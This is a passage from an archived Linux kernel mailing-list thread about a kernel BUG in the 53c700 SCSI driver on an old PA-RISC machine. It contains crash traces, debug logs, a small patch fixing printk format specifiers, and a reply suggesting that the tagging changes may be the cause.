[   85.510000]  IIR: 03ffe01f    ISR: 00000000  IOR: 107359c0
[   85.580000]  CPU:        0   CR30: 1072b000 CR31: f00effff
[   85.640000]  ORIG_R28: 00000000
[   85.680000]  IAOQ[0]: process_script_interrupt+0x7ac/0xdd8
[   85.750000]  IAOQ[1]: process_script_interrupt+0x7b0/0xdd8
[   85.810000]  RP(r2): process_script_interrupt+0x7ac/0xdd8
[   85.880000] Backtrace:
[   85.900000]  [<10439f1c>] NCR_700_intr+0xcf8/0x12c0
[   85.960000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
[   86.030000]  [<101a2d44>] handle_irq_event+0x4c/0x84
[   86.090000]  [<101a5894>] handle_simple_irq+0x88/0xa8
[   86.150000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
[   86.210000]  [<10394924>] gsc_asic_intr+0x80/0xb4
[   86.270000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
[   86.340000]  [<101a61dc>] handle_percpu_irq+0x5c/0x88
[   86.400000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
[   86.460000]  [<10156688>] execute_on_irq_stack+0x40/0x70
[   86.520000]  [<10156dcc>] do_cpu_irq_mask+0x19c/0x1e4
[   86.580000]  [<1014a068>] intr_return+0x0/0xc
[   86.630000]  [<101ac1f8>] hrtimer_run_queues+0x1f4/0x240
[   86.700000] 
[   86.720000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-32bit+ #323
[   86.790000] Backtrace:
[   86.820000]  [<1015571c>] show_stack+0x18/0x28
[   86.870000]  [<10351234>] dump_stack+0x28/0x38
[   86.930000]  [<101558a8>] die_if_kernel+0x160/0x1d4
[   86.990000]  [<10155e08>] handle_interruption+0x250/0x754
[   87.050000]  [<103e6c08>] dev_vprintk_emit+0x194/0x1c8
[   87.110000]  [<1043828c>] process_script_interrupt+0x7b0/0xdd8
[   87.180000]  [<10438288>] process_script_interrupt+0x7ac/0xdd8
[   87.250000]  [<10439f1c>] NCR_700_intr+0xcf8/0x12c0
[   87.310000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
[   87.380000]  [<101a2d44>] handle_irq_event+0x4c/0x84
[   87.440000]  [<101a5894>] handle_simple_irq+0x88/0xa8
[   87.500000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
[   87.560000]  [<10394924>] gsc_asic_intr+0x80/0xb4
[   87.620000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
[   87.680000]  [<101a61dc>] handle_percpu_irq+0x5c/0x88
[   87.740000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
[   87.800000] 
[   87.820000] Kernel panic - not syncing: Fatal exception in interrupt


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: [PATCH][SCSI] 53c700: Use proper debug printk format specifiers
Date: Fri, 10 Jun 2016 22:39:45 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20160610203945.GA18046@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1465591205 8272 80.91.229.3 (10 Jun 2016 20:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 20:40:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-scsi@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 22:39:57 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBTDg-0004lG-Hu
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 22:39:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752096AbcFJUj4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2016 16:39:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49919 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752706AbcFJUjy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2016 16:39:54 -0400
Original-Received: from p100.box ([92.203.6.125]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MarAM-1arCXp1oZG-00KSy0; Fri, 10 Jun 2016 22:39:47
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:JyZRsy+LXTgWHHa4/Rr9ECqo+MwLZ1rvFUDtr6foVL9ENTgqobS
 whoE8XEBQNjK0M/qdYoVoK+0cDdmQ4Jb2mU7uhEJPN+kSgfTAVdcNMNsslv5S+HpwcT01Bl
 uKqE3ApE2rQHLYV8bS1gwvlxPq+ZTg3PjA0T1fYYTCUOPIKkMEtHwu5r8CXCa9nYyDE/DqX
 Tnr/QBtR3mvXqi3fr+12w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ArmDTH3koHw=:pTUGE6maG7CAByLrbyU9H0
 TtfKTbr/6xnMQPIv6pZsbfzItq2c8dJ0Q3Jn3p1G4/zNgSQQEhqsIqa3vM4SNfR3cF4AV3nvk
 91bm+Ti0P7WEMCq+mP9ViLVpoLfzzDBAPP6i31HVBiejmjCFsDSLkMqdNi5VOLgbk7alHI9EP
 dwV6oQ5IstTHlZSkX+iA81hAV6RVo9YrZCBK6zIQE5jIRsBjGazyWrbAcjVVZREMyR6h5fa7f
 U2rFCsuza4EQ/811aLAcI2Zx7y6fwkyn7l8FNu6ivAxKVexK/CGk2f9RkrF6tsNY7OdgtUQbq
 cXOK+x/Nlod+tMXmoWmgmZKfPIrSJVlQBKFh6/M2Y2fuNTnLwbuf5EugkcXxH7iNsmWZ4Bu+7
 v69gLZTFXfHTdI/+cKJCrcqP1Pmvxih8OKWMeZnSug8zzu1odz8u5bfzIT4yzhsS+RDxSqUcH
 eQTasUm9f+2U9PP1Qny2Hoqor2duhu7cdEesoqIYz2UKJTYXCFfC9KD9+2/I/J15elCDfK7ta
 2ralgxZPWYgB1otUaunBE724xB1+buO6UzkanisjrgL0NdMpvxhZt6mm0VaJ0dPmihQfEdSTy
 BcELmR5fKk5Ink0Zkk2mXC+SDTXmzjq7608M6kf/ohUyk19BaPil4nwozzqqC2vNIvRNqpTi+
 6VQl0LiAADkwL4sbRK63o0IyR/KlVMY2I+pGU3LpG6M5qflBEleSdagfe0gRWQw7aVVIymB3Z
 0Pm2ruF1KOnQe/PSlSrveEdfMXdLEkyLynrDOIiy/yuaNM7lfNkX67P8dig=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26884 gmane.linux.scsi:114267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26884>

When enabling the debug options NCR_700_DEBUG and NCR_700_TAG_DEBUG
various printk format warnings can be seen like:
drivers/scsi/53c700.c:357:2: warning: format =E2=80=98%p=E2=80=99 expec=
ts argument of type =E2=80=98void *=E2=80=99, but argument 4 has type =E2=
=80=98dma_addr_t=E2=80=99 [-Wformat=3D]
  script_patch_32(hostdata->dev, script, MessageLocation,

=46ix them by using the right printk format specifiers.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
index d4c2856..56bec27 100644
--- a/drivers/scsi/53c700.c
+++ b/drivers/scsi/53c700.c
@@ -1892,7 +1892,7 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, v=
oid (*done)(struct scsi_cmnd *)
 		slot->SG[i].ins =3D bS_to_host(SCRIPT_RETURN);
 		slot->SG[i].pAddr =3D 0;
 		dma_cache_sync(hostdata->dev, slot->SG, sizeof(slot->SG), DMA_TO_DEV=
ICE);
-		DEBUG((" SETTING %08lx to %x\n",
+		DEBUG((" SETTING %p to %x\n",
 		       (&slot->pSG[i].ins),
 		       slot->SG[i].ins));
 	}
diff --git a/drivers/scsi/53c700.h b/drivers/scsi/53c700.h
index e06bdfe..fd32971 100644
--- a/drivers/scsi/53c700.h
+++ b/drivers/scsi/53c700.h
@@ -423,23 +423,25 @@ struct NCR_700_Host_Parameters {
 #define script_patch_32(dev, script, symbol, value) \
 { \
 	int i; \
+	dma_addr_t da =3D value; \
 	for(i=3D0; i< (sizeof(A_##symbol##_used) / sizeof(__u32)); i++) { \
-		__u32 val =3D bS_to_cpu((script)[A_##symbol##_used[i]]) + value; \
+		__u32 val =3D bS_to_cpu((script)[A_##symbol##_used[i]]) + da; \
 		(script)[A_##symbol##_used[i]] =3D bS_to_host(val); \
 		dma_cache_sync((dev), &(script)[A_##symbol##_used[i]], 4, DMA_TO_DEV=
ICE); \
-		DEBUG((" script, patching %s at %d to 0x%lx\n", \
-		       #symbol, A_##symbol##_used[i], (value))); \
+		DEBUG((" script, patching %s at %d to %pad\n", \
+		       #symbol, A_##symbol##_used[i], &da)); \
 	} \
 }
=20
 #define script_patch_32_abs(dev, script, symbol, value) \
 { \
 	int i; \
+	dma_addr_t da =3D value; \
 	for(i=3D0; i< (sizeof(A_##symbol##_used) / sizeof(__u32)); i++) { \
-		(script)[A_##symbol##_used[i]] =3D bS_to_host(value); \
+		(script)[A_##symbol##_used[i]] =3D bS_to_host(da); \
 		dma_cache_sync((dev), &(script)[A_##symbol##_used[i]], 4, DMA_TO_DEV=
ICE); \
-		DEBUG((" script, patching %s at %d to 0x%lx\n", \
-		       #symbol, A_##symbol##_used[i], (value))); \
+		DEBUG((" script, patching %s at %d to %pad\n", \
+		       #symbol, A_##symbol##_used[i], &da)); \
 	} \
 }
=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ewan D. Milne" <emilne@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 16:58:05 -0400
Organization: Red Hat
Lines: 337
Approved: news@gmane.org
Message-ID: <1465592285.20724.173.camel@localhost.localdomain>
References: <5759C524.2030009@gmx.de>
	 <1465511002.2259.19.camel@HansenPartnership.com>  <575B2239.4020403@gmx.de>
Reply-To: emilne@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465592292 25094 80.91.229.3 (10 Jun 2016 20:58:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 20:58:12 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jun 10 22:58:11 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bBTVK-0000XL-0S
	for lnx-linux-scsi@plane.gmane.org; Fri, 10 Jun 2016 22:58:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932435AbcFJU6I (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Fri, 10 Jun 2016 16:58:08 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:59011 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751724AbcFJU6H (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Fri, 10 Jun 2016 16:58:07 -0400
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id 6397085365;
	Fri, 10 Jun 2016 20:58:06 +0000 (UTC)
Original-Received: from [10.18.25.104] (dhcp-25-104.bos.redhat.com [10.18.25.104])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u5AKw5t8031047;
	Fri, 10 Jun 2016 16:58:05 -0400
In-Reply-To: <575B2239.4020403@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.25]); Fri, 10 Jun 2016 20:58:06 +0000 (UTC)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114268 gmane.linux.ports.parisc:26885
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114268>

I'm not sure if this is the problem, but the tagging changes to
scsi_tcq.h may have altered the 53c700 driver's assumptions.
In one case it sets sdev->current_cmnd and then some of the
tagging calls would return it if the tag was SCSI_NO_TAG.

NCR_700_queuecommand_lck() does:

        if ((hostdata->tag_negotiated & (1<<scmd_id(SCp))) &&
            SCp->device->simple_tags) {
                slot->tag = SCp->request->tag;
                CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot %p\n",
                       slot->tag, slot);
        } else {
                slot->tag = SCSI_NO_TAG;
                /* must populate current_cmnd for scsi_host_find_tag to
work */
                SCp->device->current_cmnd = SCp;
        }

-Ewan

On Fri, 2016-06-10 at 22:25 +0200, Helge Deller wrote:
> On 10.06.2016 00:23, James Bottomley wrote:
> > On Thu, 2016-06-09 at 21:36 +0200, Helge Deller wrote:
> >> Hi James,
> >>
> >> I just tried Debian kernel 4.6.1-1 on my historic 715/64 machine, and it
> >> ran into this  BUG() in the LASI scsi driver:
> >>
> >>  scsi 0:0:6:0: no saved request for untagged cmd
> >>
> >> Any idea?
> >>
> >> Helge
> >>  
> >> [    0.000000] Linux version 4.6.0-1-parisc (debian-kernel@lists.debian.org) (gcc version 5.4.0 20160603 (Debian 5.4.0-3) ) #1 Debian 4.6.1-1 (2016-06-06)
> >> ...
> >> [    0.000000] Determining PDC firmware type: Snake.
> >> [    0.000000] model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
> >> [    0.000000] vers  0000000c
> >> [    0.000000] model 9000/715
> >> [    0.000000] Total Memory: 160 MB
> >> ...
> >> [   43.180000] SCSI subsystem initialized
> >> [   45.076000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> >> [   45.156000] scsi0: 53c710 rev 2 
> >> [   46.204000] scsi host0: LASI SCSI 53c700
> >> [   58.268000] scsi 0:0:6:0: no saved request for untagged cmd
> >> [   58.336000] ------------[ cut here ]------------
> >> [   58.392000] kernel BUG at /build/linux-XAODSw/linux-4.6.1/drivers/scsi/53c700.c:1129!
> >> [   58.484000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
> >> [   58.580000] task: 1083cdd8 ti: 107b1000 task.ti: 107b1000
> >> [   58.644000] 
> >> [   58.660000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> >> [   58.716000] PSW: 00000000000001001111111100001110 Not tainted
> >> [   58.788000] r00-03  0004ff0e 0084e388 00a8ea8c 107ba400
> >> [   58.848000] r04-07  00000000 00000000 15b88cc0 00000006
> >> [   58.912000] r08-11  198ca400 000000ff 00000020 00000000
> >> [   58.976000] r12-15  000000ff 00001003 10801020 00000001
> >> [   59.036000] r16-19  107b1240 00000002 000000ff 00000001
> >> [   59.100000] r20-23  00000001 0000000e 0084f388 00000000
> >> [   59.164000] r24-27  107ba500 0083b540 1021a7a4 107b5020
> >> [   59.224000] r28-31  00000000 00000040 107ba480 104d52bc
> >> [   59.288000] sr00-03  00000000 00000000 00000000 0000000d
> >> [   59.352000] sr04-07  00000000 00000000 00000000 00000000
> >> [   59.416000] 
> >> [   59.432000] IASQ: 00000000 00000000 IAOQ: 00a8ea8c 00a8ea90
> >> [   59.500000]  IIR: 03ffe01f    ISR: 0000000d  IOR: 00a8ea90
> >> [   59.564000]  CPU:        0   CR30: 107b1000 CR31: f00effff
> >> [   59.632000]  ORIG_R28: 10855e80
> >> [   59.668000]  IAOQ[0]: process_script_interrupt+0x13ec/0x16a4 [53c700]
> >> [   59.748000]  IAOQ[1]: process_script_interrupt+0x13f0/0x16a4 [53c700]
> >> [   59.824000]  RP(r2): process_script_interrupt+0x13ec/0x16a4 [53c700]
> >> [   59.900000] Backtrace:
> >> [   59.928000]  [<00a8ea8c>] process_script_interrupt+0x13ec/0x16a4 [53c700]
> >> [   60.012000] 
> >> [   60.028000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
> >> [   60.120000] Backtrace:
> >> [   60.148000]  [<1015bffc>] show_stack+0x3c/0x50
> >> [   60.204000]  [<10425d40>] dump_stack+0x28/0x38
> >> [   60.256000]  [<1015c180>] die_if_kernel+0x134/0x20c
> >> [   60.316000]  [<1015cd34>] handle_interruption+0x804/0x828
> >> [   60.380000] 
> >> [   60.400000] Kernel panic - not syncing: Fatal exception in interrupt
> >> [   60.400000] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
> > 
> > It looks like either an unsolicited reselection or possibly a spurious
> > interrupt left over from something.  Can you define NCR_700_DEBUG in
> > drivers/scsi/53c700.h and see what it says?
> 
> I enabled NCR_700_DEBUG and NCR_700_TAG_DEBUG.
> This is from vanilla kernel 4.6:
> 
> [    8.700000] Uniform Multi-Platform E-IDE driver
> [    8.760000] ide-gd driver 1.18
> [    8.790000] ide-cd driver 5.00
> [    8.860000]  script, patching MessageLocation at 31 to 0x09f684b0
> [    8.930000]  script, patching StatusAddress at 281 to 0x09f684d0
> [    9.000000]  script, patching ReceiveMsgAddress at 15 to 0x09f684c0
> [    9.080000]  script, patching ReceiveMsgAddress at 19 to 0x09f684c0
> [    9.150000]  script, patching ReceiveMsgAddress at 41 to 0x09f684c0
> [    9.230000]  script, patching ReceiveMsgAddress at 49 to 0x09f684c0
> [    9.300000]  script, patching ReceiveMsgAddress at 55 to 0x09f684c0
> [    9.370000]  script, patching ReceiveMsgAddress at 71 to 0x09f684c0
> [    9.450000]  script, patching ReceiveMsgAddress at 77 to 0x09f684c0
> [    9.520000]  script, patching ReceiveMsgAddress at 83 to 0x09f684c0
> [    9.600000]  script, patching ReceiveMsgAddress at 89 to 0x09f684c0
> [    9.670000]  script, patching ReceiveMsgAddress at 95 to 0x09f684c0
> [    9.750000]  script, patching ReceiveMsgAddress at 137 to 0x09f684c0
> [    9.830000]  script, patching ReceiveMsgAddress at 147 to 0x09f684c0
> [    9.900000]  script, patching ReceiveMsgAddress at 177 to 0x09f684c0
> [    9.980000]  script, patching ReceiveMsgAddress at 215 to 0x09f684c0
> [   10.050000]  script, patching ReceiveMsgAddress at 251 to 0x09f684c0
> [   10.130000]  script, patching ReceiveMsgAddress at 285 to 0x09f684c0
> [   10.210000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> [   10.290000] scsi0: 53c710 rev 2 
> [   11.330000] 53c700: sync 1 async 2
> [   11.370000] scsi host0: LASI SCSI 53c700
> [   11.430000] 53c700: scsi0, command 
> [   11.430000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   11.430000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   11.430000]  SETTING 09f684e8 to 90080000
> [   11.430000]  script, patching short field MessageCount at 30 to 0xe000006
> [   11.430000]  script, patching ID field Device_ID at 0 to 0x41010000
> [   11.430000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   11.430000]  script, patching short field CommandCount at 120 to 0xa000006
> [   11.430000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   11.430000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   32.090000] scsi 0:0:0:0: tag#0 abort command
> [   32.140000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
> [   32.140000] 
> [   32.240000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   32.320000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0002[09f68008] dsps 0x9f68020
> [   32.320000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68008[0008]
> [   32.320000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
> [   32.320000] 53c700: sync 1 async 2
> [   42.670000] 53c700: scsi0, command 
> [   42.670000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
> [   42.670000]  script, patching short field MessageCount at 30 to 0xe000006
> [   42.670000]  script, patching ID field Device_ID at 0 to 0x41010000
> [   42.670000]  script, patching CommandAddress at 121 to 0x09fa03f4
> [   42.670000]  script, patching short field CommandCount at 120 to 0xa000006
> [   42.670000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   42.670000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   43.260000] scsi 0:0:0:0: tag#0 abort command
> [   43.310000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   43.310000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68010[0010]
> [   43.310000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
> [   43.310000] 53c700: sync 1 async 2
> [   43.650000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
> [   43.650000] 
> [   43.760000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
> [   43.830000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   43.830000] scsi0: Bus Reset detected, executing command   (null), slot   (null), dsp 09f68010[0010]
> [   43.830000] 53c700: sync 1 async 2
> [   54.110000] scsi 0:0:0:0: tag#0 New error handler wants HOST reset
> [   54.110000] 
> [   54.200000] scsi 0:0:0:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   54.270000] 53c700: sync 1 async 2
> [   54.270000] timer_interrupt(CPU 0): delayed! cycles 3F77F5E rem 20A2  next/now 90731E60/9072FDBE
> [   65.430000] 53c700: scsi0, command 
> [   65.430000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
> [   65.430000]  script, patching short field MessageCount at 30 to 0xe000006
> [   65.430000]  script, patching ID field Device_ID at 0 to 0x41010000
> [   65.430000]  script, patching CommandAddress at 121 to 0x09fa03f4
> [   65.430000]  script, patching short field CommandCount at 120 to 0xa000006
> [   65.430000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   65.430000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   66.020000] scsi 0:0:0:0: tag#0 abort command
> [   66.070000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   66.070000] scsi0: Bus Reset detected, executing command 19f72d20, slot 000084e0, dsp 09f68010[0010]
> [   66.070000]  failing command because of reset, slot 000084e0, cmnd 19f72d20
> [   66.070000] 53c700: sync 1 async 2
> [   66.410000] scsi 0:0:0:0: tag#0 New error handler wants BUS reset, cmd 19f72d20
> [   66.410000] 
> [   66.520000] scsi 0:0:0:0: tag#0 CDB: opcode=0x0 00 00 00 00 00 00
> [   66.590000] scsi0: istat 02 sstat0 02 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   66.590000] scsi0: Bus Reset detected, executing command   (null), slot   (null), dsp 09f68010[0010]
> [   66.590000] 53c700: sync 1 async 2
> [   76.870000] scsi 0:0:0:0: Device offlined - not ready after error recovery
> [   76.950000] 53c700: scsi0, command 
> [   76.950000] scsi 0:0:1:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   76.950000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   76.950000]  SETTING 09f684e8 to 90080000
> [   76.950000]  script, patching short field MessageCount at 30 to 0xe000006
> [   76.950000]  script, patching ID field Device_ID at 0 to 0x41020000
> [   76.950000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   76.950000]  script, patching short field CommandCount at 120 to 0xa000006
> [   76.950000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   76.950000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   77.970000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   77.970000] scsi0: (1:0) selection timeout
> [   78.110000] 53c700: scsi0, command 
> [   78.110000] scsi 0:0:2:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   78.110000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   78.110000]  SETTING 09f684e8 to 90080000
> [   78.110000]  script, patching short field MessageCount at 30 to 0xe000006
> [   78.110000]  script, patching ID field Device_ID at 0 to 0x41040000
> [   78.110000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   78.110000]  script, patching short field CommandCount at 120 to 0xa000006
> [   78.110000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   78.110000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   79.120000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   79.120000] scsi0: (2:0) selection timeout
> [   79.270000] 53c700: scsi0, command 
> [   79.270000] scsi 0:0:3:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   79.270000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   79.270000]  SETTING 09f684e8 to 90080000
> [   79.270000]  script, patching short field MessageCount at 30 to 0xe000006
> [   79.270000]  script, patching ID field Device_ID at 0 to 0x41080000
> [   79.270000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   79.270000]  script, patching short field CommandCount at 120 to 0xa000006
> [   79.270000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   79.270000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   80.280000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   80.280000] scsi0: (3:0) selection timeout
> [   80.420000] 53c700: scsi0, command 
> [   80.420000] scsi 0:0:4:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   80.420000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   80.420000]  SETTING 09f684e8 to 90080000
> [   80.420000]  script, patching short field MessageCount at 30 to 0xe000006
> [   80.420000]  script, patching ID field Device_ID at 0 to 0x41100000
> [   80.420000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   80.420000]  script, patching short field CommandCount at 120 to 0xa000006
> [   80.420000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   80.420000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   81.440000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   81.440000] scsi0: (4:0) selection timeout
> [   81.580000] 53c700: scsi0, command 
> [   81.580000] scsi 0:0:5:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   81.580000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   81.580000]  SETTING 09f684e8 to 90080000
> [   81.580000]  script, patching short field MessageCount at 30 to 0xe000006
> [   81.580000]  script, patching ID field Device_ID at 0 to 0x41200000
> [   81.580000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   81.580000]  script, patching short field CommandCount at 120 to 0xa000006
> [   81.580000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   81.580000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
> [   82.590000] scsi0: istat 02 sstat0 20 dstat 00 dsp 0004[09f68010] dsps 0x9f68460
> [   82.590000] scsi0: (5:0) selection timeout
> [   82.740000] 53c700: scsi0, command 
> [   82.740000] scsi 0:0:6:0: tag#0 CDB: opcode=0x12 12 00 00 00 24 00
> [   82.740000]  scatter block 0: move 36[09000024] from 0x9d66100
> [   82.740000]  SETTING 09f684e8 to 90080000
> [   82.740000]  script, patching short field MessageCount at 30 to 0xe000006
> [   82.740000]  script, patching ID field Device_ID at 0 to 0x41400000
> [   82.740000]  script, patching CommandAddress at 121 to 0x09c0d3c8
> [   82.740000]  script, patching short field CommandCount at 120 to 0xa000006
> [   82.740000]  script, patching SGScriptStartAddress at 191 to 0x09f684e0
> [   82.740000]  script, patching SGScriptStartAddress at 207 to 0x09f684e0
